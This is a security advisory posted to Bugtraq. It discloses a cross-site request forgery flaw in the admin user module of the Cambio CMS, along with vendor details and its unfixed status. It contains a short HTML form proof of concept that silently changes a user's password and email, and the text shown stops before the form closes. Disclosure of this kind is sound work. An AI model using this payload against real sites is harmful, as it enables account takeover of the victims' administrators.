XSRF (CSRF) in Cambio

From: advisory@htbridge.ch
To: bugtraq@securityfocus.com
Subject: XSRF (CSRF) in Cambio

Vulnerability ID: HTB22768
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_cambio.html
Product: Cambio
Vendor: Joram van den Boezem ( http://www.cambiocms.org/ ) 
Vulnerable Version: 0.5a nightly r37 and probably prior versions
Vendor Notification: 28 December 2010 
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Low 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "modules/user/user.admin.php" script to properly verify the source of HTTP request.

Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

Attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/admin/index.php?module=user&task=save&elmid=" method="post" name="main">
<input type="hidden" name="id" value="USERID">
<input type="hidden" name="module" value="100">
<input type="hidden" name="newpass1" value="newpass">
<input type="hidden" name="newpass2" value="newpass">
<input type="hidden" name="email" value="email@example.com">
<input type="hidden" name="usertype_id" value="2">

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